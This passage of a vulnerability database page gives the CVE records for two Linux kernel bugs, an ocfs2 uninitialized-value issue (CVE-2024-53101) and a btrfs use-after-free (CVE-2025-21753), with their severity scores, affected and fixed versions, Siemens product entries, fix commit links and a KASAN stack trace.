Linux	Linux	Affected: 2.6.39 Unaffected: 0 , < 2.6.39 (semver) Unaffected: 4.19.324 , ≤ 4.19.* (semver) Unaffected: 5.4.286 , ≤ 5.4.* (semver) Unaffected: 5.10.230 , ≤ 5.10.* (semver) Unaffected: 5.15.173 , ≤ 5.15.* (semver) Unaffected: 6.1.118 , ≤ 6.1.* (semver) Unaffected: 6.6.62 , ≤ 6.6.* (semver) Unaffected: 6.11.9 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-53101",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:11:04.870373Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-908",
                "description": "CWE-908 Use of Uninitialized Resource",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:17:12.311Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:29:14.067Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:14.666Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ocfs2/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a0c77e5e3dcbffc7c6080ccc89c037f0c86496cf",
              "status": "affected",
              "version": "468eedde23d6c9335935773f4f5764267d5a7763",
              "versionType": "git"
            },
            {
              "lessThan": "17ecb40c5cc7755a321fb6148cba5797431ee5b8",
              "status": "affected",
              "version": "468eedde23d6c9335935773f4f5764267d5a7763",
              "versionType": "git"
            },
            {
              "lessThan": "9db25c2b41c34963c3ccf473b08171f87670652e",
              "status": "affected",
              "version": "468eedde23d6c9335935773f4f5764267d5a7763",
              "versionType": "git"
            },
            {
              "lessThan": "b3e612bd8f64ce62e731e95f635e06a2efe3c80c",
              "status": "affected",
              "version": "468eedde23d6c9335935773f4f5764267d5a7763",
              "versionType": "git"
            },
            {
              "lessThan": "5a72b0d3497b818d8f000c347a7c11801eb27bfc",
              "status": "affected",
              "version": "468eedde23d6c9335935773f4f5764267d5a7763",
              "versionType": "git"
            },
            {
              "lessThan": "1cb5bfc5bfc651982b6203c224d49b7ddacf28bc",
              "status": "affected",
              "version": "468eedde23d6c9335935773f4f5764267d5a7763",
              "versionType": "git"
            },
            {
              "lessThan": "1c28bca1256aecece6e94b26b85cd07e08b0dc90",
              "status": "affected",
              "version": "468eedde23d6c9335935773f4f5764267d5a7763",
              "versionType": "git"
            },
            {
              "lessThan": "15f34347481648a567db67fb473c23befb796af5",
              "status": "affected",
              "version": "468eedde23d6c9335935773f4f5764267d5a7763",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ocfs2/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.39"
            },
            {
              "lessThan": "2.6.39",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.324",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.286",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.230",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.173",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.118",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.62",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.324",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.286",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.230",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.173",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.118",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.62",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.9",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: Fix uninitialized value issue in from_kuid and from_kgid\n\nocfs2_setattr() uses attr-\u003eia_mode, attr-\u003eia_uid and attr-\u003eia_gid in\na trace point even though ATTR_MODE, ATTR_UID and ATTR_GID aren\u0027t set.\n\nInitialize all fields of newattrs to avoid uninitialized variables, by\nchecking if ATTR_MODE, ATTR_UID, ATTR_GID are initialized, otherwise 0."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:50:52.487Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a0c77e5e3dcbffc7c6080ccc89c037f0c86496cf"
        },
        {
          "url": "https://git.kernel.org/stable/c/17ecb40c5cc7755a321fb6148cba5797431ee5b8"
        },
        {
          "url": "https://git.kernel.org/stable/c/9db25c2b41c34963c3ccf473b08171f87670652e"
        },
        {
          "url": "https://git.kernel.org/stable/c/b3e612bd8f64ce62e731e95f635e06a2efe3c80c"
        },
        {
          "url": "https://git.kernel.org/stable/c/5a72b0d3497b818d8f000c347a7c11801eb27bfc"
        },
        {
          "url": "https://git.kernel.org/stable/c/1cb5bfc5bfc651982b6203c224d49b7ddacf28bc"
        },
        {
          "url": "https://git.kernel.org/stable/c/1c28bca1256aecece6e94b26b85cd07e08b0dc90"
        },
        {
          "url": "https://git.kernel.org/stable/c/15f34347481648a567db67fb473c23befb796af5"
        }
      ],
      "title": "fs: Fix uninitialized value issue in from_kuid and from_kgid",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-53101",
    "datePublished": "2024-11-25T21:21:28.742Z",
    "dateReserved": "2024-11-19T17:17:24.984Z",
    "dateUpdated": "2026-05-12T12:01:14.666Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21753 (GCVE-0-2025-21753)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:12 – Updated: 2026-05-12 12:03

Title

btrfs: fix use-after-free when attempting to join an aborted transaction

Summary

In the Linux kernel, the following vulnerability has been resolved: btrfs: fix use-after-free when attempting to join an aborted transaction When we are trying to join the current transaction and if it's aborted, we read its 'aborted' field after unlocking fs_info->trans_lock and without holding any extra reference count on it. This means that a concurrent task that is aborting the transaction may free the transaction before we read its 'aborted' field, leading to a use-after-free. Fix this by reading the 'aborted' field while holding fs_info->trans_lock since any freeing task must first acquire that lock and set fs_info->running_transaction to NULL before freeing the transaction. This was reported by syzbot and Dmitry with the following stack traces from KASAN: ================================================================== BUG: KASAN: slab-use-after-free in join_transaction+0xd9b/0xda0 fs/btrfs/transaction.c:278 Read of size 4 at addr ffff888011839024 by task kworker/u4:9/1128 CPU: 0 UID: 0 PID: 1128 Comm: kworker/u4:9 Not tainted 6.13.0-rc7-syzkaller-00019-gc45323b7560e #0 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Workqueue: events_unbound btrfs_async_reclaim_data_space Call Trace: <TASK> __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x169/0x550 mm/kasan/report.c:489 kasan_report+0x143/0x180 mm/kasan/report.c:602 join_transaction+0xd9b/0xda0 fs/btrfs/transaction.c:278 start_transaction+0xaf8/0x1670 fs/btrfs/transaction.c:697 flush_space+0x448/0xcf0 fs/btrfs/space-info.c:803 btrfs_async_reclaim_data_space+0x159/0x510 fs/btrfs/space-info.c:1321 process_one_work kernel/workqueue.c:3236 [inline] process_scheduled_works+0xa66/0x1840 kernel/workqueue.c:3317 worker_thread+0x870/0xd30 kernel/workqueue.c:3398 kthread+0x2f0/0x390 kernel/kthread.c:389 ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244 </TASK> Allocated by task 5315: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3f/0x80 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:377 [inline] __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:394 kasan_kmalloc include/linux/kasan.h:260 [inline] __kmalloc_cache_noprof+0x243/0x390 mm/slub.c:4329 kmalloc_noprof include/linux/slab.h:901 [inline] join_transaction+0x144/0xda0 fs/btrfs/transaction.c:308 start_transaction+0xaf8/0x1670 fs/btrfs/transaction.c:697 btrfs_create_common+0x1b2/0x2e0 fs/btrfs/inode.c:6572 lookup_open fs/namei.c:3649 [inline] open_last_lookups fs/namei.c:3748 [inline] path_openat+0x1c03/0x3590 fs/namei.c:3984 do_filp_open+0x27f/0x4e0 fs/namei.c:4014 do_sys_openat2+0x13e/0x1d0 fs/open.c:1402 do_sys_open fs/open.c:1417 [inline] __do_sys_creat fs/open.c:1495 [inline] __se_sys_creat fs/open.c:1489 [inline] __x64_sys_creat+0x123/0x170 fs/open.c:1489 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Freed by task 5336: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3f/0x80 mm/kasan/common.c:68 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:582 poison_slab_object mm/kasan/common.c:247 [inline] __kasan_slab_free+0x59/0x70 mm/kasan/common.c:264 kasan_slab_free include/linux/kasan.h:233 [inline] slab_free_hook mm/slub.c:2353 [inline] slab_free mm/slub.c:4613 [inline] kfree+0x196/0x430 mm/slub.c:4761 cleanup_transaction fs/btrfs/transaction.c:2063 [inline] btrfs_commit_transaction+0x2c97/0x3720 fs/btrfs/transaction.c:2598 insert_balance_item+0x1284/0x20b0 fs/btrfs/volumes.c:3757 btrfs_balance+0x992/ ---truncated---

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/cee55b1219568c80b…
https://git.kernel.org/stable/c/c7a53757717e68af9…
https://git.kernel.org/stable/c/7e954b6bb95d67ae4…
https://git.kernel.org/stable/c/6ba4663ada6c6315a…
https://git.kernel.org/stable/c/8f5cff471039caa2b…
https://git.kernel.org/stable/c/86d71a026a7f63da9…
https://git.kernel.org/stable/c/ce628048390dad803…
https://git.kernel.org/stable/c/e2f0943cf37305dbd…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 871383be592ba7e819d27556591e315a0df38cee , < cee55b1219568c80bf0d5dc55066e4a859baf753 (git) Affected: 871383be592ba7e819d27556591e315a0df38cee , < c7a53757717e68af94a56929d57f1e6daff220ec (git) Affected: 871383be592ba7e819d27556591e315a0df38cee , < 7e954b6bb95d67ae4d1a20e9cfd83c182cf929bc (git) Affected: 871383be592ba7e819d27556591e315a0df38cee , < 6ba4663ada6c6315af23a6669d386146634808ec (git) Affected: 871383be592ba7e819d27556591e315a0df38cee , < 8f5cff471039caa2b088060c074c2bf2081bcb01 (git) Affected: 871383be592ba7e819d27556591e315a0df38cee , < 86d71a026a7f63da905db9add845c8ee88801eca (git) Affected: 871383be592ba7e819d27556591e315a0df38cee , < ce628048390dad80320d5a1f74de6ca1e1be91e7 (git) Affected: 871383be592ba7e819d27556591e315a0df38cee , < e2f0943cf37305dbdeaf9846e3c941451bcdef63 (git)
Linux	Linux	Affected: 3.4 Unaffected: 0 , < 3.4 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21753",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T18:14:22.911957Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:22:29.598Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:36:58.333Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:36.932Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/transaction.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "cee55b1219568c80bf0d5dc55066e4a859baf753",
              "status": "affected",
              "version": "871383be592ba7e819d27556591e315a0df38cee",
              "versionType": "git"
            },
            {
              "lessThan": "c7a53757717e68af94a56929d57f1e6daff220ec",
              "status": "affected",
              "version": "871383be592ba7e819d27556591e315a0df38cee",
              "versionType": "git"
            },
            {
              "lessThan": "7e954b6bb95d67ae4d1a20e9cfd83c182cf929bc",
              "status": "affected",
              "version": "871383be592ba7e819d27556591e315a0df38cee",
              "versionType": "git"
            },
            {
              "lessThan": "6ba4663ada6c6315af23a6669d386146634808ec",
              "status": "affected",
              "version": "871383be592ba7e819d27556591e315a0df38cee",
              "versionType": "git"
            },
            {
              "lessThan": "8f5cff471039caa2b088060c074c2bf2081bcb01",
              "status": "affected",
              "version": "871383be592ba7e819d27556591e315a0df38cee",
              "versionType": "git"
            },
            {
              "lessThan": "86d71a026a7f63da905db9add845c8ee88801eca",
              "status": "affected",
              "version": "871383be592ba7e819d27556591e315a0df38cee",
              "versionType": "git"
            },
            {
              "lessThan": "ce628048390dad80320d5a1f74de6ca1e1be91e7",
              "status": "affected",
              "version": "871383be592ba7e819d27556591e315a0df38cee",
              "versionType": "git"
            },
            {
              "lessThan": "e2f0943cf37305dbdeaf9846e3c941451bcdef63",
              "status": "affected",
              "version": "871383be592ba7e819d27556591e315a0df38cee",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/transaction.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.4"
            },
            {
              "lessThan": "3.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix use-after-free when attempting to join an aborted transaction\n\nWhen we are trying to join the current transaction and if it\u0027s aborted,\nwe read its \u0027aborted\u0027 field after unlocking fs_info-\u003etrans_lock and\nwithout holding any extra reference count on it. This means that a\nconcurrent task that is aborting the transaction may free the transaction\nbefore we read its \u0027aborted\u0027 field, leading to a use-after-free.\n\nFix this by reading the \u0027aborted\u0027 field while holding fs_info-\u003etrans_lock\nsince any freeing task must first acquire that lock and set\nfs_info-\u003erunning_transaction to NULL before freeing the transaction.\n\nThis was reported by syzbot and Dmitry with the following stack traces\nfrom KASAN:\n\n   ==================================================================\n   BUG: KASAN: slab-use-after-free in join_transaction+0xd9b/0xda0 fs/btrfs/transaction.c:278\n   Read of size 4 at addr ffff888011839024 by task kworker/u4:9/1128\n\n   CPU: 0 UID: 0 PID: 1128 Comm: kworker/u4:9 Not tainted 6.13.0-rc7-syzkaller-00019-gc45323b7560e #0\n   Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\n   Workqueue: events_unbound btrfs_async_reclaim_data_space\n   Call Trace:\n    \u003cTASK\u003e\n    __dump_stack lib/dump_stack.c:94 [inline]\n    dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n    print_address_description mm/kasan/report.c:378 [inline]\n    print_report+0x169/0x550 mm/kasan/report.c:489\n    kasan_report+0x143/0x180 mm/kasan/report.c:602\n    join_transaction+0xd9b/0xda0 fs/btrfs/transaction.c:278\n    start_transaction+0xaf8/0x1670 fs/btrfs/transaction.c:697\n    flush_space+0x448/0xcf0 fs/btrfs/space-info.c:803\n    btrfs_async_reclaim_data_space+0x159/0x510 fs/btrfs/space-info.c:1321\n    process_one_work kernel/workqueue.c:3236 [inline]\n    process_scheduled_works+0xa66/0x1840 kernel/workqueue.c:3317\n    worker_thread+0x870/0xd30 kernel/workqueue.c:3398\n    kthread+0x2f0/0x390 kernel/kthread.c:389\n    ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147\n    ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n    \u003c/TASK\u003e\n\n   Allocated by task 5315:\n    kasan_save_stack mm/kasan/common.c:47 [inline]\n    kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n    poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n    __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:394\n    kasan_kmalloc include/linux/kasan.h:260 [inline]\n    __kmalloc_cache_noprof+0x243/0x390 mm/slub.c:4329\n    kmalloc_noprof include/linux/slab.h:901 [inline]\n    join_transaction+0x144/0xda0 fs/btrfs/transaction.c:308\n    start_transaction+0xaf8/0x1670 fs/btrfs/transaction.c:697\n    btrfs_create_common+0x1b2/0x2e0 fs/btrfs/inode.c:6572\n    lookup_open fs/namei.c:3649 [inline]\n    open_last_lookups fs/namei.c:3748 [inline]\n    path_openat+0x1c03/0x3590 fs/namei.c:3984\n    do_filp_open+0x27f/0x4e0 fs/namei.c:4014\n    do_sys_openat2+0x13e/0x1d0 fs/open.c:1402\n    do_sys_open fs/open.c:1417 [inline]\n    __do_sys_creat fs/open.c:1495 [inline]\n    __se_sys_creat fs/open.c:1489 [inline]\n    __x64_sys_creat+0x123/0x170 fs/open.c:1489\n    do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n    do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n    entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n   Freed by task 5336:\n    kasan_save_stack mm/kasan/common.c:47 [inline]\n    kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n    kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:582\n    poison_slab_object mm/kasan/common.c:247 [inline]\n    __kasan_slab_free+0x59/0x70 mm/kasan/common.c:264\n    kasan_slab_free include/linux/kasan.h:233 [inline]\n    slab_free_hook mm/slub.c:2353 [inline]\n    slab_free mm/slub.c:4613 [inline]\n    kfree+0x196/0x430 mm/slub.c:4761\n    cleanup_transaction fs/btrfs/transaction.c:2063 [inline]\n    btrfs_commit_transaction+0x2c97/0x3720 fs/btrfs/transaction.c:2598\n    insert_balance_item+0x1284/0x20b0 fs/btrfs/volumes.c:3757\n    btrfs_balance+0x992/\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:45.922Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/cee55b1219568c80bf0d5dc55066e4a859baf753"
        },
        {
          "url": "https://git.kernel.org/stable/c/c7a53757717e68af94a56929d57f1e6daff220ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/7e954b6bb95d67ae4d1a20e9cfd83c182cf929bc"
        },
        {
          "url": "https://git.kernel.org/stable/c/6ba4663ada6c6315af23a6669d386146634808ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/8f5cff471039caa2b088060c074c2bf2081bcb01"
        },
        {
          "url": "https://git.kernel.org/stable/c/86d71a026a7f63da905db9add845c8ee88801eca"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce628048390dad80320d5a1f74de6ca1e1be91e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/e2f0943cf37305dbdeaf9846e3c941451bcdef63"
        }
      ],
      "title": "btrfs: fix use-after-free when attempting to join an aborted transaction",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21753",
